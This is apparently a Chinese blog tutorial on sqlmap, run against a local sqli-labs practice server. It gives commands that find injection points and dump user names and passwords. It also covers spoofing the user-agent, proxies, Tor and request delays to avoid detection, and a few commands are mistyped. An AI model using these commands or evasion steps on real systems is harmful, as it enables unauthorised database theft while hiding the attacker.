sql注入————sqlmap自動化注入

一、sqlmap介紹

1.1 sqlmap支持的5中注入類型
1.2 sqlmap目錄介紹
1.3 sqlmap常用參數

sqlmap是一款免費開源的sql自動化注入工具
官網下載地址:http://sqlmap.org/

1.1 sqlmap支持的5中注入類型

1.布爾盲注檢測
2.時間盲注檢測
3.錯誤注入檢測
4.union注入檢測
5.堆疊查詢檢測

1.2 sqlmap目錄介紹

extra ————額外功能。如:發出聲響、運行cmd、安全執行、shellcode等
lib ————代碼庫 包含了五種注入類型的請求參數、提權操作等
plugins ————插件
shell ————包含了注入成功後的9中shell遠程連接命令執行和數據庫管理
txt ————存放的字典。如:用戶瀏覽器的代理、表、列、關鍵詞等
sqlmap.py ————主程序
sqlmapapi.py ————sqlmap的api文件。可以將sqlmap集成到其他平臺

1.3 sqlmap常用參數

–version ————#查看版本信息
-h ————#查看常用功能參數
-hh ————#查看所有參數
-v ————#顯示詳細信息,一共7級,從0-6,默認是1,數字越大,越詳細
Target —————#制定目標
-d —————#直接連接數據庫偵聽端口,類似於把自己當一個客戶端來連接
-u —————#指定url掃描,但url必須存在查詢參數。如:xxx.php?id=1
-l —————#指定logfile文件進行掃描,可以結合bp把訪問的機率爆出成一個log文件,sqlmap直接加載log文件進行掃描
-m —————#掃描多個url,把多個url保存成一個文本文件,-m加載掃描
-r —————#把http的請求頭、body保存成一個文件,同一交個sqlmap。sqlmap對裏面的內容進行拼接請求體
–timeout —————#指定超時時間
–retries —————#指定重試次數
–skip-urlencode —————#不進行url加密


二、sqlmap常用探測方式

2.1 探測單個目標
2.2 探測多個目標
2.3 從文件加載http請求進行探測
2.4 從burpsuite日誌進行探測
2.5 指定探測類型
2.6 枚舉數據庫信息

2.1 探測單個目標

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" 

參數指南:
-u ————指定url

2.2 探測多個目標

sqlmap -m urls.txt --dbs --users --batch

參數指南:
-m ———— 指定多個編寫了多個url的文件名
-dbs ———— 查詢數據庫
-users ———— 查詢用戶
–batch ———— 不使用交互,一切使用默認配置

  1. 將多個url編寫到文件裏
    在這裏插入圖片描述
    在這裏插入圖片描述
  2. 執行sqlmap -m urls.txt --dbs --users (要查詢什麼內容就指定什麼參數)
    在這裏插入圖片描述
    在這裏插入圖片描述

2.3 從文件加載http請求進行探測

-r ———— 指定http請求文件

  1. 瀏覽器打開http://192.168.0.63/sqli-labs/Less-10/,並輸入賬號和密碼(admin,admin)提交。
  2. 打開bp的代理攔截請求
  3. 回到瀏覽器刷新頁面(抓取登陸以後存在的cookie)
    在這裏插入圖片描述
  4. vim cookie.txt 把http頭信息粘貼進去,並在cookie後面添加 * 保存退出
    在這裏插入圖片描述
    在這裏插入圖片描述
  5. 執行命令 sqlmap -r cookie.txt --level 3 --batch --dbs
    在這裏插入圖片描述

2.4 從burpsuite日誌進行探測

-l ———— 指定日誌目錄掃描

  1. 開啓bp請求日誌記錄
    在這裏插入圖片描述
  2. 然後利用bp多攔截幾個網頁,log-bp.txt裏就有了日誌
    在這裏插入圖片描述
  3. 指定日誌文件進行注入
sqlmap -l log-bp.txt --dbs --level 3 --batch

在這裏插入圖片描述

2.5 指定探測類型

–technique=B 指定sql注入類型。sqlmap中的注入類型有BEUSTQ。默認是B。

  • B:Boolean布爾盲注
  • T:Time時間盲注
  • E:Error錯誤注入
  • U:Union聯合注入
  • S:多語句注入
  • Q:內聯注入
    例:sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --technique=B

2.6 枚舉數據庫信息

 --dbs ———— 爆庫
 --tables ———— 爆表
 --colunms ———— 爆字段
 --dump ———— 爆數據
 -D ———— 指定數據庫
 -T ———— 指定表
 -C ———— 指定字段

1.判斷注入點

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch

在這裏插入圖片描述
2. 爆庫

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch --dbs

在這裏插入圖片描述
3. 爆表

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security --tables

在這裏插入圖片描述
4. 爆字段

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users --columns

在這裏插入圖片描述
5. 爆數據

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users -C "username,password" --dump

或者

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users -columns --dump

在這裏插入圖片描述


三、sqlmap請求參數

3.1 默認的請求參數

  1. 打開wireshark關閉混雜模式進行抓包(只接收自己的包),過濾器:ip.addr==192.168.0.63
    在這裏插入圖片描述
  2. 執行探測任務
    root@xuegod53:~# sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --batch
  3. 打開wireshark停止抓包,查看抓取數據。
    在這裏插入圖片描述
    發現User-agent:sqlmap/1.3#stable(http://sqlmap.org)\rin 上面有sqlmap的標記,網絡管理員可以通過這些特徵對我們的訪問進行過濾。
    user-agent是什麼呢?
    user-agent中文名是用戶代理,檢測UA,是一個特殊字符串頭,有了他服務器才能識別客戶端的操作系統及版本、CPU類型、瀏覽器版本、語言、插件等信息。

3.2 修改默認請求參數

爲了不讓網管對我們的訪問進行過濾,我們需要修改請求參數。

方法一: 手動指定請求參數
利用 --user-agent=" " 來手動指定請求參數

root@xuegod53:~# sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101" --batch

方法二:自動指定請求參數
利用 --random-agent 來隨機指定請求參數

root@xuegod53:~# sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --random-agent --batch

測試:
在這裏插入圖片描述
這樣就沒有ok了

3.3 使用代理進行探測

在sqlmap探測的時候怎麼才能不暴露我們的真是ip呢?這個時候就要使用代理在進行探測了。

--proxy="代理地址"	————	單個代理地址
--proxy-file= 代理地址文件路徑	————	多個代理地址
--delay ———— 指定間隔延時時間。防止ip被屏蔽

免費的代理地址 http://www.kuaidaili.com/free/inha/
在這裏插入圖片描述

單個地址代理
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --proxy="127.78.79.150.8081" --delay 1 --random-agent --batch
注: --delay 1 ———— 表示探測延時1s,防止過快的探測速度導致網站屏蔽當前ip地址。

多個地址代理
創建代理文件proxy.txt,我這裏創在root下
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --proxy-file= /root/proxy.txt --delay 1 --random-agent --batch

tor匿名代理
使用以上地址代理,雖然能儘量避免服務器對我們的封鎖,但不能完全匿名。使用tor就可以完全匿名。

具體步驟如下:

需要先使用代理訪問 tor 網絡然後在 sqlmap 中配置 tor 代理。
配置方法:--tor --tor-type 類型一般選擇 socks5,然後在 sqlmap 上使用 --check-tor 選項迚行
檢查

3.4 忽略未驗證錯誤

參數:
--ignore-401 ———— 忽略未驗證錯誤

原因:
很多存在http認證的網站會提示我們輸入用戶名密碼,如果沒輸就會返回401錯誤,所以要忽略未驗證錯誤。

3.5 sqlmap安全模式

如果執行了一定數量的丌成功請求,則 Web 應用程序戒其間的檢查技術會破壞會話。這可能發生在
sqlmap 的檢測階段戒利用任何盲 SQL 注入類型時。原因是 SQL 有效負載不一定返回輸出,因此可能被
應用程序會話管理戒檢查技術檢測到從而破壞會話。

–safe-url #測試期間經常訪問的 URL 地址。
–safe-post #HTTP POST 數據發送到給定的安全 URL 地址。
–safe-req #從文件加載並使用安全的 HTTP 請求。
–safe-freq #在兩次訪問給定安全位置之間測試請求。

sqlmap 將訪問每個預定丿數量的請求,而丌對 safe url 執行任何類型的注入。

3.6 關閉URL編碼

參數:
--skip-urlencode———— 這種情況用於後端服務器不遵循 RFC 標準(URL 編碼的標準)並要求數
據以非編碼方式迚行傳輸。

四、sqlmap常用參數優化

  1. 配置持久化連接
    參數:
    --keep-alive

  2. 設置空連接
    參數:
    --null-connection ———— 該參數用於head方式發生http請求時,設置空連接可以不接受服務器返回來body信息,進而減少了數據包大小,提高了盲注探測性能。

  3. 配置多線程
    參數:
    --thread ———— 默認線程爲3,最大爲10.目標服務器不存在訪問限制且性能較好的情況下可以多設幾個線程。

  4. 持久化+空連接+多線程
    參數:
    -o ———— 該參數綁定率持久化連接、空連接、多線程這三個參數,線程默認數是3

5.預測輸出算法
參數:
--predict-output ———— 該參數使用推理算法,用於對檢索到的值的字符迚行順序統計預測,根據
sqlmap 工作目錄下的 txt/common-outputs.txt 結合當前枚丼到的數據給出的預測,從而提升探測效
率,當然如果有遇到常見的名稱也可以手勱添加到 txt/common-outputs.txt 文件中
請注意,此開關不–threads 開關不兼容。

知識來源於網絡。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章